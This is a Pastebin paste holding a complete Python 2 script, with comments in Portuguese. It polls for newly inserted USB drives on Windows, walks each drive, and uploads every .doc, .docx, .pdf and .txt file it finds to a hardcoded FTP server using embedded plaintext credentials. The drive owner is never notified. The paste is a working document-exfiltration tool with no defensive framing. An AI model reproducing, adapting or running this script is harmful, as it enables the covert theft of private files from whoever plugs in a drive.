Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import os, time
- import ftplib as ftp
- extensions = ['.doc', '.docx', '.pdf', '.txt'] # Extensions available
- explored_drives = []
- class os_operations:
- 'Classe que verifica a validade dos ficheiros e que verifica também se uma nova pen drive foi introduzida'
- def is_drive (self, drive_path):
- return not os.system (drive_path + ':')
- # Windows version of new_drive method
- def new_drive (self):
- for letter in range (ord ('A'), ord ('Z') + 1):
- drive_path = chr (letter)
- if drive_path == 'C': continue
- if self.is_drive (drive_path) and drive_path not in explored_drives:
- explored_drives.append (drive_path)
- return drive_path
- return 0
- #def new_drive (self):
- #for directory in os.listdir ('/media'):
- #if directory not in explored_drives:
- #explored_drives.append (directory)
- #return '/media/' + directory
- #return 0
- def file_is_valid (self, filename):
- (filepath, extension) = os.path.splitext (filename)
- if extension in extensions:
- return 1
- else:
- return 0
- class ftp_operations:
- 'Class que opera com o servidor directamente, transfere ficheiros e conecta-se ao mesmo'
- def __init__ (self, server, username, password):
- self.servername = server
- self.username = username
- self.password = password
- def connect (self):
- self.handle = ftp.FTP (self.servername)
- self.handle.login (self.username, self.password)
- def send_file (self, path, filename, pen_drives_instance):
- if pen_drives_instance.file_is_valid (filename):
- os.chdir (path)
- self.handle.storbinary ('STOR ' + filename, open (filename, 'rb'))
- print 'File uploaded: %s' % filename
- def close_connection (self):
- self.handle.close ()
- def main ():
- pen_drives = os_operations ()
- ftp_ops = ftp_operations ('ftp.t35.com', 'lulz99.t35.com', '12358132134')
- while True:
- drive_path = pen_drives.new_drive ()
- if drive_path:
- ftp_ops.connect () # Connect to server and login
- print "There's a new drive: %s" % drive_path
- time.sleep (5) # Mount process wait
- for root, dirs, files in os.walk (drive_path):
- for my_file in files:
- ftp_ops.send_file (root, my_file, pen_drives)
- ftp_ops.close_connection ()
- time.sleep (1) # Relax my friend
- main ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement